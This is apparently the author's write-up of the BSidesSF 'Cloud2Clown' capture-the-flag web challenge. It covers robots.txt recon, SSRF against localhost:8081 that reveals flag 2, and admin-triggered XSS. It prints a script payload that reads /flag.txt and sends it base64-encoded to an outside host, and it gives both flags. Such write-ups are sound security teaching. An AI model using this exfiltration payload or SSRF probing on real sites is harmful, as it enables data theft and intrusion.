The Challenge

Sometimes you see marketing materials that use the word cloud to the point that it starts to lose all meaning. This service allows you to fix that with clowns instead of clouds. Note: there are 2 flags, they should be clearly labeled.

This was a web challenge with 2 flags hidden inside. When you visited the challenge, you saw a very basic web form that prompted only for a URL.

Cloud2Clown

Giving it a quick try, we see that it requests the page at the URL you provide, then re-renders it with the word “Cloud” replaced with the word “Clown”. Notably, this is served on /render, but on the same domain, port, and protocol as the rest of the site.

Recon

So how can we find out more about the challenge? Well, short of blowing up the server with dirbuster, there are some URLs that can be useful to check on web applications. A couple of examples include:

  • /sitemap.xml
  • /robots.txt

There’s no sitemap for this site, but there is a robots.txt file with the following contents:

1
2
3
4
5
User-agent: *
Disallow: /flag.txt
Disallow: /status
Disallow: /flag
Disallow: /hack

If we visit each of these URLs in turn, we will find that /flag.txt returns “Forbidden” and /status returns “Not in IP whitelist.” /hack was a red herring that lead to my blog, and /flag just returns “Invalid URL.”

Vulnerability 1: SSRF

(This was actually labeled as flag 2, as it was added as an afterthought.)

Since this is a server that issues outbound HTTP/HTTPS requests, Server Side Request Forgery (SSRF) is an obvious candidate. Since this is well-known to bypass firewalls or IP whitelists, it looks like this is a good option to go after whatever information is in /status. Unfortunately, a request to render https://cloud2clown-dc9b5aed.challenges.bsidessf.net/status does not work, still giving access denied. This does not work because all of the web services are behind a Google Cloud Load Balancer, so the request still appears to come from the outside. Trying http://localhost/status also fails, this time because it’s not running on port 80. Since you often won’t know the port for a backend service, it may be necessary to try it. You can either try brute force or go for the top web service ports. In either case, if you try http://localhost:8081/status, you’ll find that you get a JSON structure instead of an error:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "author": "Matir",
  "flag2": "CTF{ssrf_for_more_than_metadata}",
  "ipWhitelist": [
    "127.0.0.1",
    "127.1.1.1",
    "13.37.13.37",
    "::1"
  ],
  "remoteAddr": "[::1]:56190",
  "reviewQueue": 0,
  "reviewQueueSize": 1024
}

One of the elements is clearly the flag we’re after: CTF{ssrf_for_more_than_metadata}.

Vulnerability 2: XSS

Since the service blindly renders any page you give it, this will include rendering JavaScript. At first, this appears to only be a self-XSS since it just reflects the rendering back to the player. However, at the bottom of each rendered page, there is a bar added that says “Page rendered by Cloud2Clown” and has a link to “Report Page Error”. Clicking on the button pushed the URL into a queue to be visited by the admin. When the admin visited it, any javascript payload would be executed for the admin, including the ability to request the /flag.txt path. My canonical test payload was:

1
2
3
4
5
6
7
8
<script>
fetch('/flag.txt', {mode: 'no-cors'}).then(function(r) {
  r.text().then(function(f) {
    var img = document.createElement('img');
    img.src = 'http://ctf.1337.fyi:3333/' + btoa(f);
  })
})
</script>

This sent a request to http://ctf.1337.fyi:3333 with the flag encoded as base64. A quick decode later revealed Flag 1: CTF{we_hope_that_wasnt_hard}.

Conclusion

For some reason, players seemed to struggle with this challenge, but all the admins thought it straightforward. Have feedback? Hit me up on Twitter or the BSidesSF slack (@Matir).